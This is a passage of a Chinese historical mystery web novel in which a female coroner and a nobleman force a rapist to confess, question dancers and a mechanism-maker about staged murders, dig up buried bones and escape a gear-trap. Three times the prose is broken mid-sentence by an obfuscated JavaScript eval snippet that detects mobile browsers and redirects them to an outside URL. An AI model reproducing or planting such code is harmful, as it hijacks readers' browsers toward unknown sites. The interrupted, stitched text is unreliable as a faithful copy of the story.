“这是……证据?”郑观澜走上前,俯身拿起一个。 闻蝉站起身,拍了拍手上的灰。 “这些脂粉盒子都是那些受害人所丢失的,我比对过。” 郑观澜此时才真信了她的话。 “王子仪这样做……图什么?” 闻蝉见得多了,也没有那么震惊。 “这世上嘛,不正常的人多的是。”她说完将脂粉盒子踢回床底,“好了,证据你也看了,案子我也交代了,现在你可以安生了吧?” 吱呀—— 郑观澜还未开口,忽然传来开门的声音。 糟了!定是王子仪回来了! 迫在眉睫,闻蝉也顾不得其他,拖着郑观澜躲进了衣柜里。 衣柜很小,二人相对而坐,几乎是面贴着面,甚至都能感受到对方喷出的气息。 郑观澜努力向后靠了靠,扭头朝着柜门。 “嗯?”王子仪的声音隔着柜门隐隐约约传进来,“没有人吗?我这耳朵是不好使了,明明听见有动静啊。” 哒,哒…… 脚步声一直没停,他就这样在屋内兜着圈。 二人的心都提在嗓子眼儿了,闻蝉手心全是汗,默默祈祷着他千万别过来! 过了许久,脚步声终于停下。 “嗐!定然是我听错了,不管了,还是先睡吧。” 接着又是脱衣裳的声音。 外面终于归于平静,二人同时吐出一口气。 眼前忽然一亮。 柜门已经被打开。 王子仪高高举着烛台,目瞪口呆。 “阿蝉?郑六?!!!” 4. 一件公事 王子仪睁开眼,眼前还迷蒙一片,只感到后脖一阵一阵的钝痛。 他怎么睡着了?不对!方才他在房门外听见里面有动静,然后走了进去,虚晃一招,在衣柜里找到了贼人,那两个贼人……一个是…… “你醒了?” 清冽而熟悉的女声的耳边响起。 王子仪瞬间惊起一身鸡皮疙瘩。 是闻蝉! 视线瞬间清晰。 “你!” 脖子一凉。 一柄匕首正抵在他的喉咙上,利刃闪着刺眼的寒芒,让他感到一股尖锐的刺痛。 王子仪下意识想要挣扎,才发现自己已经被绑在了椅子上,根本不得动弹。 闻蝉抬起匕首挑起他的下巴。 “嘘,别出声。” 王子仪的惊叫被堵在了喉咙里,不上不下。 他努力让自己冷静下来,观察着四周。 郑观澜一脸杀气站在他的对面,而闻蝉正拿着匕首在他脖子上来回虚虚比划着。 “你们……你们早有勾结?” “呸!”闻蝉手中动作一顿,“谁和他勾结?说,是不是你奸侮了那三名世家女?” 突如其来的问题让他来不及反应,下意识点了两下头。 闻蝉冲着郑观澜抬了抬下巴:“郑郎君这下听到了吧,他承认了。” 王子仪这才回过神,立即摇头。 “我没有!我冤枉!” 闻蝉将方才取出的胭脂盒从怀里掏出,敲了敲他的脸。 “还要抵赖?” 一见那胭脂盒,王子仪脸上血色瞬间褪去。 “大理寺查你很久了。” 看着眼前的闻蝉,王子仪心底一片冰凉。 “你一直在骗我?” “噫!”闻蝉撇得嘴都歪了,“不然你以为自己真是什么香饽饽啊?” 王子仪此时已经冷静下来,心里也有了盘算。 如今对方并没有实证,唯一的阻碍只在郑观澜身上,只要他…… “郑六郎,你听我解释,是闻蝉她污蔑我。” 郑观澜横眉:“方才你自己已经亲口承认。” “那是他们大理寺的审讯手段!我根本就没听清她说什么!”王子仪一脸诚恳,“我承认,我确实做了对不起宝应的事,但那都是因为闻蝉算计我!我只愿意让她做妾,可她非要我给她脱籍娶她为妻。我不愿意,她才这样污蔑我的!郑六,你自己想想,如果那淫贼真的是我,我大可花钱就能让那些妓女听从,何必用强呢?” 屋内陷入了沉默。 郑观澜看着他,眼神不明,像是在思考什么。 而闻蝉的表情也十分僵硬。 王子仪见状松了口气。 他很清楚郑观澜是最瞧不起这些贱民的,这一招果然有用! “你……”郑观澜张了张嘴,又沉默了下来,眉头紧皱着。 王子仪立即接话:“这个闻蝉最会钻营不过,蔡少卿和护国公都让她攀上了,你还敢信她?” 郑观澜看了一眼憋着笑的闻蝉,对着他说道:“方才,闻仵作问你是不是奸污了三名世家女,并未提到平康坊之事。” 王子仪张大了嘴。 自己这不是不打自招吗? 郑观澜摇摇头:“我本还有几分怀疑,如此一看,你确实就是那采花贼无疑。” 闻蝉更是放肆嘲笑。 “往日在我面前跟哈巴狗儿似的,如今却能编出这样的话来?王子仪,你也真是厉害。”她忽的收了笑,逼近他的脸侧,阴恻恻地说道,“你别打着没有实证就能逃掉的主意,如今你的事让郑观澜知晓了,你说他会把你怎么样?或者说,鲁王和郑家会把你怎么样?对了,还有被你所害的那三个世家女。” 王子仪面如死灰。 郑观澜最是护短,宝应之前的未婚夫就因为和他人有了私情被他搞得去了边关吃沙子! 他们王家家世再好,可他只是旁支,父亲也不得势,怕是免不了被…… “当然,如果你供出你的那个同伙,郑观澜可能还会饶过你。” 王子仪不太敢信闻蝉的话,看向郑观澜。 对方那性子……他能点头吗? “是。”郑观澜这话像是从牙缝里挤出来似的,“她说的没错。只要你供出同伙,我就当一切没有发生,只要你远离宝应即可。” 王子仪狐疑的眼神在二人之间打转。 忽然,他像是发现了什么。 好哇!原来这俩人有一腿! 郑观澜肯定是为了这个女人能顺利破案才会松口!难怪他们俩人会搅在一起! “好,我说。这案子本来就不全是我做的。平康坊的事是我做的,但是那三人我只帮他下了药,我可没对她们做什么。” 郑观澜有些怀疑:“你若要嫖妓,为何不……直接去,非要用如此低劣的手段?” 王子仪瞟了一眼身侧的闻蝉,嗫嚅道:“我就喜欢那样的……” 早就把他研究透了的闻蝉一点都不觉得意外,这人最追求刺激和征服欲。 “那人是谁?” “我只知道他叫齐放,并不知道他长什么样子?” “不知道他的样子?你唬鬼呢!”闻蝉一巴掌糊他脑袋上。 王子仪被打得身子一偏,差点连人带凳子倒地上。 “我没骗人!真的!我真不知道,每次是他主动来找我的。他帮我给那些人下药,我帮他给那些他接触不到的世家女下药。每次见面他都蒙着脸,或者是易过容,我真不知道他长啥样啊!” “帮你给我塞纸条是不是他?” “是……他说他就潜伏在山庄,还说自己看上了一个新猎物。” “什么猎物?” “他没说……” 见他这副窝囊样子,闻蝉心里堵得慌,抬脚一踢:“又蠢又坏!和人合伙作案连人长什么样都不知道!” 小腿像是断掉了似的,王子仪疼得哼哼,还是不敢叫出声。 闻蝉又踢了几脚才问道:“还有他的线索吗?” “有!”王子仪立即说道,“他是个杂种!” “你也是个杂种!”闻蝉翻了个白眼。 “不是不是……”王子仪解释道,“他有胡人的血统。有次我和他说话,他说着说着就说了一句匈奴话。我问他怎么会说匈奴话,他告诉我,他爹是匈奴人。” “也算个线索。”闻蝉继续问道,“还记得他的身形吗?” “记得记得,比我矮半个头,瘦条身材,和我小厮差不多。” “还有呢?” 王子仪偷偷瞧着她的脸色:“没……没了……” 见他也不像有隐瞒,闻蝉这才给他解开绳子。 王子仪终于放下心,松松垮垮坐在椅子上。 “德行。”闻蝉瞥了一眼,直接推门离开。 郑观澜几步追上去。 “闻仵作!” 闻蝉不耐烦停下脚步:“还有什么麻烦?” 郑观澜顿了顿:“你来此的目的是只有这件事?” “是啊。” “撒谎。”郑观澜毫不留情拆穿她,“这二人不过是不入流的采花贼,你若只为此而来,今日你下山时看见路被破坏,为何会折返?明明这山庄下还有个寺庙可以借宿。” 闻蝉耸耸肩:“你管得宽。有心管闲事,不如看好你妹妹她们,那个采花贼可是又瞄上了目标哟。” 第二日天不亮,闻蝉就起身洗漱,胡乱吃了两口准备去找那些舞女乐师问话。 没想到,刚一出门又碰上了郑观澜。 她翻了个白眼,也不打招呼,直接绕了过去。 郑观澜忍住气跟上。 “你要去找人问话?” 闻蝉停下脚步, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779654|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭头看着他:“你已经给我制造了很多麻烦,昨日若不是你纠缠不休,我根本不会那么早暴露,现在好了,找不到实证,怎么定罪?” 郑观澜也确实有几分愧疚,可是看闻蝉那副趾高气昂的样子,他就软不了态度。 “有了实证你也定不了他的罪,昨日我也已经配合你让他供出同伙,你还不满意?” “满意!我满意得不得了!”闻蝉声调扯得极高,“我谢谢你祖宗十八代,要不要我再给你磕个头?” “我只是想……” 闻蝉不再听他多言,迈着大步向前走。 郑观澜心里记挂着那案子,也不顾脸面,还真跟着。 两尊黑脸神就这样并肩到了住着舞女乐师的院子。 笃笃。 笃笃。 二人同时抬手敲门。 闻蝉实在忍不了了:“你就非得跟着我吗?” “顺路而已,怎么?这路你走得我走不得?” 闻蝉气得发笑:“跟个哈巴狗儿似的,喜欢我啊?非得跟着我?” “谁喜……” 吱呀—— 院门从里打开。 开门的管事双手抵在门上,目瞪口呆地看着二人。 他方才听得断断续续,什么“喜欢我”? 闻蝉扭过头,对着管事说道:“我来问话。” 管事如梦初醒:“啊啊。是啊,还要问话。” 他侧身让开路:“二位请。” 闻蝉边走边问:“您昨晚在这里歇息的吗?” 管事不好意思地说道:“我本来一个人住小院儿,但是昨晚……有些害怕就搬过来住了。” “昨日那几位先上场的舞女在何处?” “就在屋里呢,我带你们去。” 舞女就住在院子最后头的房间里。 六人住在一间。 为首的舞女叫做幽梦,说到昨日之事,她依旧惊魂未定。 “我们的舞不一样,平日里都是分开练习的,上台的时候,我们也没觉着有什么不对,谁成想,我们刚从台下钻出来就瞧见了……” 闻蝉追问道:“我昨日看你们是使了个戏法后在台上消失的?那戏法是怎么回事?” “是大师设计的一个小机关,下面有个凹槽,舞动披帛之时,拉动机关,上面的木板就会打开一个口子,跳下去就会进入一个戏台下提前修好的通道,顺着通道能从侧面出来。” “那另外的六人又是怎么登场的呢?” “这我们就不知道了,她们和我们不共用一个通道。” 另外一个长脸舞女说道:“她们那些事儿都捂得可紧啦,密不透风的,我们一星半点都不知道呢~” 闻蝉这才注意到,这人的眼里满是冷漠,语气也很微妙。 “那你们昨日最后见到她们是何时?” “昨日她们就没露过面儿!”长脸舞女挥了挥手帕,“要鱼跃龙门的人了,怎么还会和我们打交道呢?” “花妁!”幽梦出言制止道。 “她们就住在隔壁,又和你们前后登场,没见到她们,你们就不觉得奇怪?” 幽梦抢先道:“您有所不知,她们最近都神神秘秘的,时常半夜都要出去练舞,我也不好多问。” 她们这关系确实有几分尴尬,脱籍的机会就那么几个,人却有这么多。 “鲁大师应当知晓一二。” 开口的人是一个瓜子脸舞女,她和另外一个舞女紧紧挨着坐在一起,二人长得一模一样,应该是双生子。 “鲁大师?”闻蝉记得,还真听他们提起过几次什么大师不大师的。 管事说道:“鲁大师是郎君倚重的一位宾客,精通机关之术,戏台都是他设计的,这支舞蹈也是他编排的。” 不知为何,闻蝉忽然想到了那戏台上留下的“墨”字。 “我想见见他。” 5. 后山白骨 传言中的鲁大师出乎意外的年轻,看上去不过二十出头的样子,模样端正,方正脸厚嘴唇,一见人就咧着嘴笑。 他放下手里的刻刀,站起身,拍了拍衣角,身上的木屑扑簌簌掉落一地。 “管事?闻仵作?” “闻仵作有些话想要问你。”管事解释着来意。 闻蝉不经意地扫了一圈屋内。 这是对方的杂物间,四周堆放着各色木料以及形态奇异看不出用途的机关。 闻蝉拿出一捆细索。 “鲁大师可认得此物?” “认得。做机关的时候会用到,但是这东西很少见,我这里都没有。”鲁大师轻叹一口气,“说来,我昨日正午还见过点蕊。” 点蕊是死亡的舞女中为首者。 “正午?” 这岂不是很接近死者死亡的时间吗?! 闻蝉追问:“是在何地?她为何而来?” “就在我屋内,当时她过来是为了告知我一切都准备好,坐了片刻就离开了。”鲁大师指了指门口的小厮,“昨儿他也在呢。” 小厮说道:“是,昨日正午,刚用完饭,点蕊娘子就过来了,她在屋内和大师说了几句话,又吃了几口点心喝了几口茶才走。小的回来的时候正好瞧见她离开。” “她们上台前,大师就没有去查看吗?” 鲁大师一脸懊悔:“按照原先的计划,她们是从戏台下悄悄升上去的,那戏台下很小,我想着这舞都排了半年,定然不会出错,就一直陪在庄主身侧。早知道……唉!” “既然舞是鲁大师编排的,大师可知道那机关本来的设计应当是什么样的?” 鲁大师沉默了片刻。 “原本只是在纸后跳舞,吊着的绳索只是为了方便腾空借力,能够让她们的人影正好倒映在花朵上罢了。” “听上去并不难,可为何我听幽梦她们说,死者们为了这舞常常半夜去后山练舞?” 鲁大师面露为难。 “您应该知道这舞对她们来说有多重要吧?” “我听管事提起过,脱籍。” “是,脱籍。舞女只有六个脱籍的名额,为了能够争取到这六个名额,点蕊她们彻夜苦练,只求能把这舞做到最极致。我很是动容,所以也常常陪着她们磨合。”鲁大师眼角有些湿润。 “那……幽梦她们呢?” 闻蝉突如其来的问题让他愣了愣。 “幽梦?她们的舞很简单,不太需要配合复杂的机关,所以我和她们交道很少。不过,每个人都在尽力准备,我想她们也应该一直在苦练。” 闻蝉忽然问道:“鲁大师姓鲁,又懂得机关,难道是……传说中的鲁班后人?” “闻仵作说的没错。只是我家中父母早丧,这才流落至京城,幸好运气不错,得遇庄主相救,才能在山庄有片瓦栖身。如今算来,我在这山庄也呆了快十年了。” “鲁班被称为百工圣祖,可以算是机关术的祖师爷了。当然说到机关术,不得不提的还有墨子……鲁大师可知道昨日戏台上出现了一个‘墨’字?” 鲁大师合了合眼:“是有听说,就在点蕊她们跳舞的那一块台面上。” “你知道那个‘墨’字是怎么来的。”闻蝉用肯定的语气说道。 “终究还是来了。” 鲁大师缓缓睁开眼,叹了口气。 “是,我知道。这段时日,我时常收到挑战信。写信之人自称是墨家弟子,说要与我比试机关之术。可我不愿做意气之争,再加上这人也从来未现过身,是以一直没有理会。昨日听见他们说起那个‘墨’字……我才想到了他。” “信可还在?” 鲁大师摇头:“早就烧掉了。” 闻蝉有些失望。 “在案发前,此人可有给你来过信?” “没有,他只在一个月前写过一封,说若我不应战,他就会让我……不得不应战。”鲁大师面露迷茫,“难道凶手是他?他为了逼我出手所以害死了点蕊她们?” 闻蝉也无法回答,她站起身。 “不管如何,若您再收到类似的信请告诉我一声。” 问了一圈,闻蝉大致确定了一点——死亡时间就在午时之后。 鲁大师是最后见过死者的人,在此之后没有人再见过她们。 可还有一个疑点。 既然死亡时间确实是三个时辰之前,那凶手是用的什么法子缓解了死者的尸僵呢? 缓解尸僵的方式无非就是改变温度,可是黑睛的浑浊程度也是受冷热影响的,总不可能只影响了尸僵吧? 还有,降低温度只能延缓尸僵出现的时间,并不能让尸僵完全消失,死者死亡时间足足有三个时辰,她摸过,就连应该最开始发生尸僵颈部面部都还是柔软的,这实在是太不可思议了! “你怎么还跟着我?”闻蝉顿住脚步,恶狠狠看向身旁的郑观澜。 “大路朝天,各走一边。” “不要脸,你一个年轻郎君跟着我一个小娘子。” 郑观澜眼神上下一瞟:“闻仵作也太谦虚了,你和普通的小娘子可不一样。” “啧啧,你果然喜欢我,在你眼里我都和别人都不一样。”闻蝉摸了摸下巴,像街头的小流氓。 郑观澜脸嘭得一下红了。 “你怎地如此不知羞!” “你们……在说什么呀?”宝应忽然出现在二人面前,一脸狐疑。 她方才是听错了吧? 闻蝉眯眼一笑:“你表哥说……” “宝应!你过来做甚?”郑观澜急忙打断她的话。 谁知道这个女人还会说出什么惊世骇俗的话! “我来找闻姐姐。”宝应拉着闻蝉胳膊,“闻姐姐,你下午和我们一起去听戏吧!” “听戏?” “对啊!今儿下午是金溪班来演呢,说是要一直唱到晚上。” “那岂不是都要去听?” “当然!那可是金溪班啊!”宝应双手合十,一脸向往,“金溪班很难请的,连我都是头一回听他们唱戏呢。听说今日他们那个台柱子苏乐也要登台,还有他们的少班主!你知道苏乐吗?他可是当年那个苏明娘的儿子!” 闻蝉哪里知道这些,只连连点头。 “是很厉害啊!” 宝应突然顿了顿:“对了,我来找你,是还有件事要和你说。” 她表情十分郑重。 “什么事?” “我昨晚听其他人说,这个凶案和话本一样。” “话本?什么话本?” 宝应秀气的眉皱成一团:“说是有一个话本里也是这样,舞女被害死后尸体吊在戏台上,那机关吊着尸体,影子映在纸上,就像是蝴蝶……” 闻蝉一把握住她的手:“还有呢?” 宝应低下头:“我有些害怕,没有听全。今日早起听别人说你去查案才觉得不对。” “那这话是谁说的?” “就是裴庄主的侄女,裴三娘讲的。” “你能帮我去问问那话本的内容或者名字吗?” “这真的和案子有关?”宝应睁大了眼,“是不是你之前说的那种书杀人的案子?!” “有那个可能。” 宝应的心砰砰跳:“好!我等会儿就去帮你问!你放心,闻姐姐,我一定帮你找出凶手!那凶手太坏了,竟然那么糟践别人的尸体!” 她气得小脸绯红。 闻蝉忍不住捏了捏:“那就全靠你啦。” 宝应蹭了蹭:“我们先去听戏吧!” 闻蝉却拒绝了。 “我昨晚一直没睡好,今儿下午要补觉,晚上我再来找你,我们一起听戏,可好?” 宝应虽然娇气可却是个极其和善体贴的性子,一听见这话,立即不再纠缠。 “那你先去休息,晚上,我等着你哦。” 闻蝉刮了刮她的鼻子。 “好。” 未时方至,池塘两边就坐满了人。 虽然已经发生凶案,但众人却没有几个失了玩乐之心,现场依旧热闹得紧。 “裴兄,这……”李成芳指着空荡荡的池塘上,“这戏台呢?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779655|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴籍神秘兮兮地一笑:“莫急莫急。” 刚过正午的阳光如同镀过金似的,映照在水面,使得池塘里一尾尾锦鲤似流光般飞梭。 片刻后,几个亭子从水下升起,亭子之间还有小路连接。 “巧夺天工啊!”李成芳赞道,“鲁大师真是巧夺天工!” 其余人也跟着夸赞着。 鲁大师谦虚道:“若无庄主支持,在下不过只是一个湮没于尘埃之中庸碌之人。” “你们一个是千里马,一个是伯乐,缺一不可嘛!”李成芳拊掌。 裴籍被逗得哈哈大笑。 一时之间,宾主尽欢。 而在山庄的另外一个角落——后山,就是完全另一番景象了。 因着前院正办着宴会,宾客仆人都汇聚在前院,本就人迹罕至的后山更是一点人气都没有,不知道的还以为是哪里的荒山野岭。 闻蝉背着箱子,拿着一个铁楸从坡上走下来。 她观察完四周,才拿起铁楸在地上划出一道痕迹。 应该就是这里了。 她将铁楸插进土中,用脚使劲一踩铁锹,撬起一块土。 没一会儿,地上就被挖出一个大坑。 大坑里,有几点白色。 闻蝉扔下铁楸,蹲下身,又从兜里掏出一个小铲子对着白点的四周轻铲。 不过片刻,一块小小的骨头就显出原貌。 她拿出一个布兜,将骨头都捡了进去。 “这才是你真正的目的吧?”郑观澜如同鬼魅一般忽然出现在她的身后。 闻蝉浑身一抖,转过头说道:“你是鬼变的吗?走路没有声音。” “怪话连篇。”郑观澜蹲下身,指着坑里的骨头,“你找到的是什么?” “人骨头呀,你要不要摸一摸?”闻蝉拿起一块作势要放他手上。 郑观澜连连摆手,躲开。 “这些尸骨是怎么回事?你别想着转移话题。” 闻蝉把骨头扔进布兜。 “被人杀了埋这儿的呗。难不成还是天上掉下来的?” “不止这一具吧?” 闻蝉指着土坑里:“这些骨头碎片都是膝盖骨的,从颜色和质地来看来源于不同的三个人,光是这里就至少三具。” “还有其他的?!” “嗯。”闻蝉把剩余的骨头捡完,站起身,指着前方的小山头,“那下面还有两具腐尸,大概死了两个月左右,左边也是一堆骨头。” 郑观澜听得心沉甸甸的。 “死者都是什么人?” “大部分都是女子,女尸基本都是死于扼杀,男尸……暂时验不出死因,但是有不少深可见骨的外伤。”闻蝉哼笑一声,“怎么?你一个世家子还会怕这些,那你在自己家里都没法呆了呢。” 郑观澜呼吸急促了一瞬,竟然没有计较她的嘲讽。 “是裴籍做的?” 闻蝉不说话了。 郑观澜主动伸出手:“我帮你拿。” 闻蝉飞快地把布兜藏在身后,布兜里的骨头哗啦啦得响。 “这是物证。” “你以为我要毁坏证据?!” “谁知道呢。”闻蝉紧紧攥着布袋嘀咕,“一丘之貉。” 郑观澜听得清清楚楚,气得胸口一鼓一鼓的。 “你为何如此看我?我记得我没有招惹过你吧?” “我只是单纯看不起你而已。”闻蝉一本正经,“你们这些人,谁手上不沾着人命呢?” 郑观澜只觉得喉咙都被堵住了一般,说不出话。 闻蝉拿起铁楸。 “若是郑郎君不想和大理寺为敌,最好把今日的事情烂在肚子里。我知道你们都不在乎人命,可这事和郑家无关,你也犯不着为了个八竿子打不着的裴家搅和进来吧?” 郑观澜一时有些泄气,轻叹一声。 “我不会说出去。” “那就很好。”闻蝉晃了晃头,脚步轻快地走了。 郑观澜看着她的背影,不由苦笑。 她这样想,也不奇怪。 6. 输攻墨守 闻蝉把捡回来的骨头处理好,分成了一袋一袋的。 做完这一切,时间已经快到黄昏了。 晚上的戏得入夜的时候才开始,闻蝉却先一步去了前院。 戏台前,鲁大师弓着腰正对着郑观澜在说着什么。 真是阴魂不散。 闻蝉硬着头皮上前。 “你来了。”郑观澜眼神一瞥,“鲁铭也怀疑戏台的机关被人改动过。” 身后已经陆陆续续来了些许宾客,闻蝉也不愿意多纠缠,一副公事公办的模样。 “是吗?鲁大师是发现了什么?” “在下看了看,机关升降的高度和路径都有变化。”鲁大师笑道,“还是郑郎君机敏,方才过来问我,我才想到的呢。” “哦。”闻蝉语气冷淡极了,“既然如此,可否带我去看看那机关内部。” 鲁大师很是大气,也没有犹豫。 “自然可以!” 闻蝉拱拱手:“鲁大师果然不同凡俗。” “闻仵作又不是同行,看看又何妨?”鲁大师抬手一引,“请。” 没想到,郑观澜率先跨出一步。 鲁大师愣了愣,问道:“郑郎君也要一起吗?” 郑观澜点头。 鲁大师有些迟疑:“这戏台下都是机关,十分狭仄,也不太干净,您……” 不是他瞧不起谁,这郑观澜是世家子弟,怎么会乐意去那种地方,而且那儿到处都是机关,要是磕着碰着了,可如何是好? “带路。”郑观澜抬了抬下巴。 “鲁大师,郑郎君既然都说了,你就别担心了。”闻蝉学着郑观澜的动作,抬了抬下巴,“带路。” 鲁大师哪里看不出来她在讽刺人,可是这矜贵模样学得太像了。 他埋下头憋笑:“是。” 郑观澜自然也看出来了,落后一步,走在闻蝉身边。 “学我很有意思?” 闻蝉嫌弃摆摆手:“没啊,你离我远点,不然……” 生怕对方当着外人面说出什么“你喜欢我”这样的话,郑观澜像是被猫抓了一下,闪到了前面。 看着面前的“一堵墙”,闻蝉有些无言。 这么怕她抽他呀? 走到戏台侧面,鲁大师打开了一个口子。 口子不大,只有五尺多一点高。 鲁大师和闻蝉低低头就能过,郑观澜就…… 闻蝉坏笑:“郑郎君还是在外面等着吧。” 撅着屁股太不雅观了。 郑观澜侧身让开一条路:“不必,我垫后。” 鸡贼! 闻蝉顿觉无趣,走在了他前面。 三人由入口而进。 鲁大师在前面带路,举着火折子照明。 四周满是暴露的齿轮,大大小小,一个套一个,看着就让人莫名感觉到压抑。 走到一块略大的空地时,鲁大师终于停下脚步。 “就是此处了。他指了指四周,“这些齿轮都和上头的机关链接,若凶手动手脚,一定是动的是这里。” 闻蝉跟着他查看。 齿轮都是铜制的,因为戏台下闷湿,上面都生出些许的锈迹。 地上也有一层浅浅的灰。 片刻后,鲁大师查看完齿轮,一脸沉重:“果然,那些机关都被改动过了。” “能确定是那个人吗?” 鲁大师毫不犹豫点点头:“墨家机关术有其特色,这改动的手法一看就知道是墨家的手笔,是那人无疑。” 他捂住脸:“是我牵连了她们。” 闻蝉拍了拍他的肩膀:“那人性子古怪偏激,即使你应战,他也不一定会收手。” “可有其他痕迹?”郑观澜并不在意鲁大师的情绪,只想问清楚有没有其他有用的线索。 闻蝉说道:“齿轮上有多处被硬物碰撞的痕迹,上面的铜锈都被蹭下来不少,这不是死者造成的,她们的衣物都十分干净,极有可能是凶手改动机关时碰撞导致的。地上的脚印虽然杂乱,但是经我的分辨只有几名死者和我们的脚印,可是……有一种很可疑的痕迹。” 她指向地面。 地面上,有几道纵横交错的长条状印记,印记很窄,只有两寸左右。 “有些眼熟。”郑观澜说道。 “像车辙。”鲁大师又觉着这说法似乎是不靠谱,“可是什么车能进得了这里呀?” 闻蝉却觉得他说的有理。 “是很像车辙,只是略窄些。”她看了看四周,见确实没有其他异样才说道,“我们先出去吧。” 三人依旧如同进来的时候,鲁大师在前面开路,闻蝉在中间,郑观澜垫后。 “鲁大师,那人可有再给你来过书信?” “没有,我昨日还特意把屋里都翻了一遍,完全没有。”鲁大师脑子还是很灵活的,“我也觉得奇怪,如果他是为了挑衅我,那杀人后应该会再给我来信才对啊。” 咔! 忽然前方传来一声奇特的声响。 闻蝉一把扯住鲁大师。 “别动!” 鲁大师还有些懵:“怎么……” 话音未落,前方两侧的齿轮竟忽然合拢成一堵墙堵住了前路,并且朝着他们的方向压了过来。 前方的路被堵死,三人急忙后退。 然而身后也传来机关的轰鸣声。 声音越来越近。 鲁大师连连尖叫,手上的火折子直抖。 借着闪烁不定的光,闻蝉这才看清,四周的齿轮竟然都以合围之势朝着他们移动。 身侧的空地越来越小,如果继续下去,这些飞转的齿轮一定会把他们搅成肉泥! “鲁大师!能把机关停下来吗!”闻蝉大声问道。 “我看看……我看看。”鲁大师嘴唇发着抖,双眼定定看着四周的齿轮。 齿轮还在飞速旋转,一点点迫近。 闻蝉有些绝望。 要是就这样死了,也太草率了吧。 郑观澜抽出剑,忽然挡在她面前。 “这些机关能直接暴力破坏吗?” 鲁大师眼睛一亮。 “我知道了!” 他一把抢过郑观澜的剑,提着剑冲向前方还在高速飞转的齿轮。 二人齐齐一惊。 只见鲁大师将剑狠狠刺入其中一枚齿轮中心。 咔……咔…… 随着一枚小小的齿轮被卡住,其他所有的齿轮竟然都停了下来。 他双手握住剑柄,用力朝反方向一扭,那枚齿轮被撬出,掉落在地。 哗! 片刻之间,咬合紧密的齿轮像是被什么无形之力卸掉了似的,一下散开,掉落一地。 闻蝉目瞪口呆。 这就是机关的力量吗? 危机解除。 鲁大师擦了擦额头的汗,将剑双手递还给郑观澜。 那剑本来十分颀长华美,剑身银光灿灿,毫无瑕疵,此刻上面却满是划痕。 “对不住,在下方才太过用力……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779656|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 郑观澜满不在乎接过剑。 “一把剑罢了,还要多谢你救了我们。” 鲁大师挠挠头:“不不,若我进来的时候注意一点,我们也不会中了圈套。” “这……都是那个人干的?”闻蝉问道。 “是,从手法上来看,确实也是墨家机关术的手笔。”鲁大师后怕,“差点死了……” 三人迈过齿轮堆,从出口逃出。 出口外,已经站满了人,他们都是被方才的动静吸引过来的。 裴籍一看见郑观澜就冲了上来,一把拉住他的胳膊:“郑六郎,你可还好?!” 一群人簇拥而至。 闻蝉和鲁大师直接被挤了出去。 看着这些人的嘴脸,闻蝉就恶心得呲牙咧嘴的。 “来。”鲁大师递过来一张素帕,满脸含笑,“闻娘子,擦擦吧。” “多谢。”闻蝉瞬间变脸,笑得客气又腼腆。 鲁大师见了觉得很是好笑。 他有许多年都没见过这样把情绪放在脸上的人了。 “闻仵作可有受伤?” “没有,倒是你……”闻蝉一眼就看见对方的手心在流血。 她立即掏出一瓶药,放在他手里:“这是大理寺常备的药,治疗外伤效果极好。” “我也不客气了。”鲁大师握紧药瓶,看着她的手,面露心疼,“你一个小娘子,手怎么也这样粗糙?” 闻蝉低头看了看自己的手。 她的手很大,骨节分明,纤长有力,皮肉发红略肿,发干发糙。 “验尸要干净,常常要用皂角水反复搓洗手,家里也有活儿要干。没法子的。” 鲁大师忍不住说道:“你一个小娘子做这活也太辛苦了。” “苦是苦了点,但是靠着自己赚钱吃饭,心里踏实。”闻蝉扬起一个笑,“旁人想学这本事都学不来呢。” 鲁大师讶异了一瞬,旋即露出一个笑:“这话在理。” “是鲁铭急智才救了我们。”郑观澜的声音忽然变大。 众人都不由朝着鲁大师看了过来。 鲁大师停下话头,冲着裴籍拱手道:“这是在下应该做的。” “我不懂机关,具体情形如何,鲁铭更加了解。”郑观澜背着手,不着痕迹后退了几步。 裴籍上前几步:“鲁大师,这究竟是怎么回事哇,方才我们在外头只听见里面哗啦啦的响。” 其余人也好奇地围过来。 人一多就让人烦躁。 闻蝉钻出人群,站在一边,抱着双臂看着被团团围住的鲁大师。 鲁大师正和其余人说着方才的经历,众人听得一脸陶醉,连声夸赞着他的机关之术出神出化。 “那个墨家的算什么,不过是个背后动手脚的奸佞小人。” “是啊!他要真是有本事,又怎么会被鲁大师接连破掉机关呢?” “咳咳。”郑观澜走到闻蝉身边,故意咳了两声。 闻蝉没好气看了他一眼:“有事?” 郑观澜扭过头:“无事。” “喉咙痒啊?”闻蝉觉得这人简直莫名其妙的很。 “凶手是那个墨家子弟?” “八九不离十。” “山庄上下,宾客五十余人,仆人三百余人。” “我知道,想要找到他,如同大海捞针。” “还有齐放,那个采花贼。” “真是鬼都撞到一起去了。”闻蝉昂起头,“但是嘛,我们还有其他线索。” 7. 木鸢斗法 